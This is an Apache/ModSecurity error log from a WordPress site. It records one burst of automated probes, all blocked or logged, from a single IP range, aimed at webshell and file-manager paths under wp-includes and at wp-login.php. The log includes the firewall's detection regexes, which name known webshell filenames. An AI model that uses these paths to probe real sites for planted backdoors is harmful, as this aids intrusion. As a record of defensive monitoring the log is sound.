[Sun Dec 21 02:50:56.953919 2025] [:error] [pid 8751:tid 8755] [client 31.171.130.115:48197] [client 31.171.130.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUbwEGvrnuGjNP7vtDRzmAAAAAI"]
[Sun Dec 21 02:53:46.099524 2025] [:error] [pid 44515:tid 44540] [client 31.171.130.142:65103] [client 31.171.130.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUbwupZAdBRP9gwGvJ5v0wAAAZY"]
[Sun Dec 21 02:53:47.845634 2025] [:error] [pid 8751:tid 8769] [client 31.171.130.163:37547] [client 31.171.130.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUbwu2vrnuGjNP7vtDR5ZQAAABA"]
[Sun Dec 21 02:53:52.060769 2025] [:error] [pid 43680:tid 43686] [client 31.171.130.151:42895] [client 31.171.130.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUbwwEDkAAJVjNqC6UXbTgAAAUI"]
[Sun Dec 21 02:53:55.355766 2025] [:error] [pid 8641:tid 8681] [client 31.171.130.165:58913] [client 31.171.130.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUbww3E703usYSvQGLSeMgAAAMM"]
[Sun Dec 21 02:53:58.034737 2025] [:error] [pid 8642:tid 8727] [client 31.171.130.156:23635] [client 31.171.130.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUbwxiJkiik8k41igp1PaQAAARY"]
[Sun Dec 21 02:54:02.261103 2025] [:error] [pid 22338:tid 22398] [client 31.171.130.133:55049] [client 31.171.130.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUbwynGYQSUt-opKpSJg2gAAAE0"]
[Sun Dec 21 02:54:02.878567 2025] [:error] [pid 22338:tid 22397] [client 31.171.130.159:30959] [client 31.171.130.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUbwynGYQSUt-opKpSJg3wAAAEw"]
[Sun Dec 21 02:54:03.834278 2025] [:error] [pid 43680:tid 43696] [client 31.171.130.113:60505] [client 31.171.130.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUbwy0DkAAJVjNqC6UXbzQAAAUw"]
[Sun Dec 21 02:54:04.418513 2025] [:error] [pid 43680:tid 43708] [client 31.171.130.129:24063] [client 31.171.130.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUbwzEDkAAJVjNqC6UXb1gAAAVg"]
[Sun Dec 21 02:54:08.059689 2025] [:error] [pid 44515:tid 44532] [client 31.171.130.158:31455] [client 31.171.130.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUbw0JZAdBRP9gwGvJ5wiQAAAY4"]
[Sun Dec 21 02:54:08.982524 2025] [:error] [pid 43680:tid 43690] [client 31.171.130.115:39741] [client 31.171.130.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUbw0EDkAAJVjNqC6UXcGgAAAUY"]
[Sun Dec 21 02:54:10.497422 2025] [:error] [pid 22338:tid 22408] [client 31.171.130.155:53809] [client 31.171.130.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aUbw0nGYQSUt-opKpSJhIgAAAFc"]
[Sun Dec 21 02:54:11.728180 2025] [:error] [pid 22338:tid 22392] [client 31.171.130.132:63489] [client 31.171.130.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUbw03GYQSUt-opKpSJhLwAAAEg"]
[Sun Dec 21 02:54:12.669461 2025] [:error] [pid 8640:tid 8664] [client 31.171.130.161:38341] [client 31.171.130.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUbw1PVclzlEWWhvYtmlywAAAI4"]
[Sun Dec 21 02:54:14.594030 2025] [:error] [pid 8642:tid 8708] [client 31.171.130.112:52439] [client 31.171.130.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUbw1iJkiik8k41igp1PyQAAAQU"]
[Sun Dec 21 02:54:17.225348 2025] [:error] [pid 8640:tid 8669] [client 31.171.130.157:59121] [client 31.171.130.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUbw2fVclzlEWWhvYtml7AAAAJM"]
[Sun Dec 21 02:54:18.231614 2025] [:error] [pid 22338:tid 22398] [client 31.171.130.142:48367] [client 31.171.130.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUbw2nGYQSUt-opKpSJhbgAAAE0"]
[Sun Dec 21 02:54:22.101306 2025] [:error] [pid 8641:tid 8709] [client 31.171.130.163:20517] [client 31.171.130.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUbw3nE703usYSvQGLSfIQAAANg"]
[Sun Dec 21 02:54:23.003923 2025] [:error] [pid 8641:tid 8698] [client 31.171.130.161:60647] [client 31.171.130.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUbw33E703usYSvQGLSfMAAAANI"]
[Sun Dec 21 02:54:25.149316 2025] [:error] [pid 8642:tid 8715] [client 31.171.130.109:56599] [client 31.171.130.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUbw4SJkiik8k41igp1QCgAAAQo"]
[Sun Dec 21 02:54:26.080623 2025] [:error] [pid 43680:tid 43700] [client 31.171.130.143:55075] [client 31.171.130.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUbw4kDkAAJVjNqC6UXdFQAAAVA"]
[Sun Dec 21 02:54:27.269515 2025] [:error] [pid 8641:tid 8694] [client 31.171.130.137:34771] [client 31.171.130.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUbw43E703usYSvQGLSfVQAAAM8"]
[Sun Dec 21 02:54:28.120927 2025] [:error] [pid 8640:tid 8670] [client 31.171.130.129:64493] [client 31.171.130.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aUbw5PVclzlEWWhvYtmmKQAAAJQ"]
[Sun Dec 21 02:54:29.729502 2025] [:error] [pid 8642:tid 8713] [client 31.171.130.140:50443] [client 31.171.130.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUbw5SJkiik8k41igp1QHwAAAQg"]
[Sun Dec 21 02:54:32.178325 2025] [:error] [pid 22338:tid 22401] [client 31.171.130.152:54337] [client 31.171.130.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aUbw6HGYQSUt-opKpSJh2QAAAFA"]
[Sun Dec 21 02:54:32.805279 2025] [:error] [pid 8640:tid 8652] [client 31.171.130.150:50077] [client 31.171.130.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aUbw6PVclzlEWWhvYtmmNwAAAII"]
[Sun Dec 21 02:54:33.743952 2025] [:error] [pid 8642:tid 8714] [client 31.171.130.121:23189] [client 31.171.130.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUbw6SJkiik8k41igp1QOQAAAQk"]
[Sun Dec 21 02:54:36.951110 2025] [:error] [pid 43680:tid 43703] [client 31.171.130.108:37859] [client 31.171.130.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aUbw7EDkAAJVjNqC6UXdyAAAAVM"]
[Sun Dec 21 02:54:38.528587 2025] [:error] [pid 22338:tid 22398] [client 31.171.130.123:22965] [client 31.171.130.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.123, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aUbw7nGYQSUt-opKpSJiCQAAAE0"]
[Sun Dec 21 02:54:42.461648 2025] [:error] [pid 22338:tid 22392] [client 31.171.130.123:22965] [client 31.171.130.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aUbw8nGYQSUt-opKpSJiHwAAAEg"]
[Sun Dec 21 02:54:43.626521 2025] [:error] [pid 43680:tid 43703] [client 31.171.130.135:50711] [client 31.171.130.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.135, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aUbw80DkAAJVjNqC6UXeGAAAAVM"]
[Sun Dec 21 02:54:44.528532 2025] [:error] [pid 43680:tid 43699] [client 31.171.130.135:50711] [client 31.171.130.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aUbw9EDkAAJVjNqC6UXeJwAAAU8"]
[Sun Dec 21 02:54:47.798901 2025] [:error] [pid 22338:tid 22398] [client 31.171.130.156:62317] [client 31.171.130.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aUbw93GYQSUt-opKpSJiLQAAAE0"]
[Sun Dec 21 02:54:52.144480 2025] [:error] [pid 44515:tid 44524] [client 31.171.130.123:48085] [client 31.171.130.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aUbw_JZAdBRP9gwGvJ5yJgAAAYY"]
[Sun Dec 21 02:54:53.626626 2025] [:error] [pid 43680:tid 43694] [client 31.171.130.158:25765] [client 31.171.130.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aUbw_UDkAAJVjNqC6UXemgAAAUo"]
[Sun Dec 21 02:54:55.177930 2025] [:error] [pid 8751:tid 8754] [client 31.171.130.135:63497] [client 31.171.130.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.135, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aUbw_2vrnuGjNP7vtDR7zgAAAAE"]
[Sun Dec 21 02:54:55.514175 2025] [:error] [pid 8751:tid 8759] [client 31.171.130.135:63497] [client 31.171.130.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aUbw_2vrnuGjNP7vtDR70QAAAAY"]
[Sun Dec 21 02:55:04.200282 2025] [:error] [pid 22338:tid 22386] [client 31.171.130.147:21901] [client 31.171.130.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aUbxCHGYQSUt-opKpSJiZgAAAEI"]
[Sun Dec 21 02:55:05.816577 2025] [:error] [pid 43680:tid 43704] [client 31.171.130.150:33223] [client 31.171.130.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.150, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aUbxCUDkAAJVjNqC6UXfBAAAAVQ"]
[Sun Dec 21 02:55:07.082998 2025] [:error] [pid 43680:tid 43688] [client 31.171.130.150:33223] [client 31.171.130.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aUbxC0DkAAJVjNqC6UXfDwAAAUQ"]
[Sun Dec 21 02:55:07.975920 2025] [:error] [pid 8751:tid 8771] [client 31.171.130.140:59343] [client 31.171.130.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aUbxC2vrnuGjNP7vtDR8KgAAABI"]
[Sun Dec 21 02:55:09.157566 2025] [:error] [pid 8642:tid 8711] [client 31.171.130.123:21901] [client 31.171.130.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUbxDSJkiik8k41igp1RCAAAAQc"]
[Sun Dec 21 02:55:10.706914 2025] [:error] [pid 44515:tid 44536] [client 31.171.130.133:47547] [client 31.171.130.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aUbxDpZAdBRP9gwGvJ5yzwAAAZI"]
[Sun Dec 21 02:55:11.304755 2025] [:error] [pid 8751:tid 8774] [client 31.171.130.138:37031] [client 31.171.130.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aUbxD2vrnuGjNP7vtDR8QQAAABU"]
[Sun Dec 21 02:55:13.426843 2025] [:error] [pid 8641:tid 8693] [client 31.171.130.154:59533] [client 31.171.130.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aUbxEXE703usYSvQGLSgAQAAAM4"]
[Sun Dec 21 02:55:14.314485 2025] [:error] [pid 44515:tid 44535] [client 31.171.130.111:57815] [client 31.171.130.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aUbxEpZAdBRP9gwGvJ5y7AAAAZE"]
[Sun Dec 21 02:55:16.302928 2025] [:error] [pid 44515:tid 44540] [client 31.171.130.118:38341] [client 31.171.130.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aUbxFJZAdBRP9gwGvJ5y-wAAAZY"]
[Sun Dec 21 02:55:17.850601 2025] [:error] [pid 8751:tid 8776] [client 31.171.130.156:63421] [client 31.171.130.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aUbxFWvrnuGjNP7vtDR8ewAAABc"]
[Sun Dec 21 02:55:19.394711 2025] [:error] [pid 8641:tid 8683] [client 31.171.130.118:23457] [client 31.171.130.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aUbxF3E703usYSvQGLSgIQAAAMU"]
